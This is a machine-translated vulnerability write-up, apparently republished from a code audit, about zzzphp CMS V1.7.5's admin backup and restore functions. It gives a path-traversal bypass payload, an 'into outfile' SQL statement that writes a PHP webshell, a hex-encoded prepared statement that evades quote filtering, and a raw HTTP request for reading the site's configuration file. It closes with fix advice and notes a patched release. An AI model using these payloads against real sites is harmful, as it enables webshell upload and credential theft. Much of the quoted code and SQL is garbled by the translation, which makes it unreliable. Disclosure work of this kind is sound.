Shulou(Shulou.com)05/31 Report--

This article shows you what to do if the zzzphp background restrictions are not strict and lead to a variety of security problems. The content is concise and easy to understand, which will definitely brighten your eyes. I hope you can get something through the detailed introduction of this article.

Zzzphp is a free site building system developed by php language, which is characterized by easy-to-use tags, secure system kernel and good user experience. It is the best choice for webmaster to build a station. At present, the latest version of zzzphp is V1.7.5 official version. During the code audit, it was found that the lax restore restrictions of the full version of the background database led to a variety of security problems, which could lead to the execution of arbitrary SQL statements, arbitrary file reading, uploading webshell, and so on.

First, go to the background database backup page and edit the contents of the backup database directly in the previous version.

Grab the packet and find that the act for save.php is editfile. The POST data submitted here is

File=%2Fzzzphp%2Fadmin768%2Fbackup%2F1591758681.bak&filetext=select+111+into+outfile+%27c%3A%5C%5Cxampp%5C%5Chtdocs%5C%5Czzzphp%5C%5Ca.php%27%EF%BC%9B

Tracking the editfile function in the code shows that

Function editfile () {$file=getform ('file','post'); $filetext=getform (' filetext','post'); $file_path=file_path ($file); $safe_path=array ('upload','template','runtime'); if (arr_search ($file_path,$safe_path)) {$file=$_SERVER [' DOCUMENT_ROOT']. $file;! (is_file ($file)) and layererr ('save failed file does not exist') } else {layererr ('non-secure directory files are not allowed to be modified');} if (create_file ($file,$filetext)) {layertrue ('modified successfully');} else {layererr ('save failed');};}

Enter the create_file function after passing some judgments

Function create_file ($path, $zcontent = NULL, $over = true) {$path = str_replace ('/ /','/', $path); check_dir (dirname ($path), true); $ext=file_ext ($path); if (in_array ($ext,array ('php','asp','aspx','exe','sh','sql','bat')) | | empty ($ext)) error (' failed to create file, creation prohibited'. $ext.' File, O'Neill. $path); $handle = fopen ($path,'w') or error ('failed to create file, please check directory permissions'); fwrite ($handle, $zcontent); return fclose ($handle);}

It is found that there are actually three restrictions.

1. The file needs to exist

If (in_array ($ext,array ('php','asp','aspx','exe','sh','sql','bat')) | | empty ($ext))

2. If the file suffix is php, asp or aspx, the key will be restricted, but the blacklist can still be bypassed, for example, special suffixes such as cerdexphp3,phtml are not prohibited.

If (in_array ($ext,array ('php','asp','aspx','exe','sh','sql','bat')) | | empty ($ext))

3. The path needs to meet upload, template or runtime

$safe_path=array ('upload','template','runtime')

First of all, because the backup file must exist, it is easy to bypass restriction 1, because the suffix of the bak file is not affected by the suffix, you can bypass limit 2, but limit 3 requires that the path needs to satisfy upload, template, or runtime, so it does not match because it is in the background directory, so it does not match because it is an array matching attempt to construct a.. / relative path.

File=%2Fzzzphp%2Fupload%2F..%2Fadmin768%2Fbackup%2F1591758681.bak

In this way, the restrictions can be successfully bypassed and modifications to the database backup files can be achieved as shown in the following figure

There is a small problem here. The Filetext content will be checked by txt_html at line 817 of\ inc\ zzz_main.php.

Function txt_html ($s) {if (! $s) return $s; if (is_array ($s)) {/ / Array processing foreach ($s as $key = > $value) {$string [$key] = txt_html ($value);}} else {if (get_magic_quotes_gpc ()) $s = addslashes ($s) $s = trim ($s); / / array ("'" = > "& ampapos;",'"'= >" & ampquot; ",''= >" & ampgt; "); if (DB_TYPE = = 'access') {/ / $s = toutf ($s); $s = str_replace ("' "," & ampapos ") ", $s); $s = str_replace ('", "& ampquot;", $s); $s = str_replace ("", "& ampgt;", $s);} else {$s = htmlspecialchars } $s = str_replace ("\ t",'& ampnbsp; & ampnbsp;', $s); $s = preg_replace ('/ script/i', 'scr1pt', $s); $s = preg_replace (' / document/i','d0 accumulation, $s) $s = preg_replace ('/ .php / asc11', 'php', $s); $s = preg_replace (' / ascii/i', 'asc11', $s); $s = preg_replace (' / eval/i', 'eva1', $s); $s = str_replace ("base64_decode", "assert", ""), "", $s) $s = str_replace (array ("\ r\ n", "\ n"), "", $s);} return $s;}

If you write content directly, such as

Select 111into outfile'c:\\ xampp\\ htdocs\\ zzzphp\\ a.php'

Single quotation marks will be converted, so converting the above to hexadecimal cannot be written on a single line.

Set @ astatum 0x73656c65637420313120696e746f206f757466696c652027633a5c5c78616d70705c68746f63735c5c7a7a7a7068705c5c5c612e70687027preparecmd from @ aoffice cmd

You can see that it can be modified successfully.

Then let's look at the operation of restoring the database.

Function restore () {

Yes, you can restore directly by sentence without doing any check, which causes the SQL statement of the backup webshell to be executed and generate the a.php in the website directory.

In the latest version of the author is V1.7.5 official version of the editing database bak file shows that this file is not allowed to edit because in the editing template template\ templateedit.tpl made safe_ext restrictions only allow reading xml, html, css, js file suffixes.

So how to get around the limit? since you are not allowed to edit the original database, it seems that there is no limit to uploading a database bak file by yourself and adding the bak suffix to the background upload settings.

You can also see that the bak file can be uploaded successfully in the attachment upload.

Then modify the path to the uploaded bak file when the database is restored

And the tracking program found that all the way into the database backup and recovery can see that the SQL statement successfully entered the executor db_exec () execution.

Continue to look down in the database execution:

Function db_exec ($sql, $d = NULL, $log=true) {$db = $_ SERVER ['db']; $d = $d? $d: $db; if (! $d) return FALSE; $sql = str_replace (' [dbpre]', DB_PRE, $sql); $n = $d-> exec ($sql); db_errno_errstr ($n, $djinql); str_log ($sql. "\ t", 'log'); return $n;}

After executing exec, SQL will enter the logging function.

Str_log ($sql. "\ t", 'log')

Trace str_logh function found in zzz.file.php line 613 follow up to the str_log file to see that the file naming rule is the file naming rule for the current time timestamp + database user + database password and unauthorized access

It can also be accessed from the background-operation record

It suddenly occurred to me that if the path is modified to a system restriction file such as the configuration file config/zzz_config.php content will be converted into a sql statement and log and then read the modification message as follows.

Sure enough, the zzz_config.php configuration content file can be read successfully.

POST http://127.0.0.1/zzzphp/11111111111/save.php?act=restore HTTP/1.1Host:127.0.0.1Connection:keep-aliveContent-Length:41Accept:*/*X-Requested-With:XMLHttpRequestUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/83.0.4103.97 Safari/537.36Content-Type:application/x-www-form-urlencoded Charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site:same-originSec-Fetch-Mode:corsSec-Fetch-Dest:emptyReferer:http://127.0.0.1/zzzphp/11111111111/?datebackuplistAccept-Encoding:gzip, deflate, brAccept-Language:zh-CN,zh;q=0.9Cookie:zzz013_adminpass=1; zzz013_adminpath=0; zzz013_adminname=admin;zzz013_adminface=..%2Fplugins%2Fface%2Fface01.png; zzz013_admintime=1591790181;XDEBUG_SESSION=PHPSTORM; PHPSESSID=mtg1vpfnapf6abr6sikv1b0lb1path=%2Fzzzphp%2Fconfig%2Fzzz_config.php

Vulnerability repair

1. It is recommended to increase the restrictions on path paths.

2. It is recommended to filter the content of database recovery.

The author has submitted the vulnerability to the National vulnerability Center and is concerned that the official 20200701 zzzphp V1.8.0 official version has fixed the problem.

The above content is what to do if the zzzphp background restrictions are not strict and lead to a variety of security problems. Have you learned the knowledge or skills? If you want to learn more skills or enrich your knowledge reserve, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.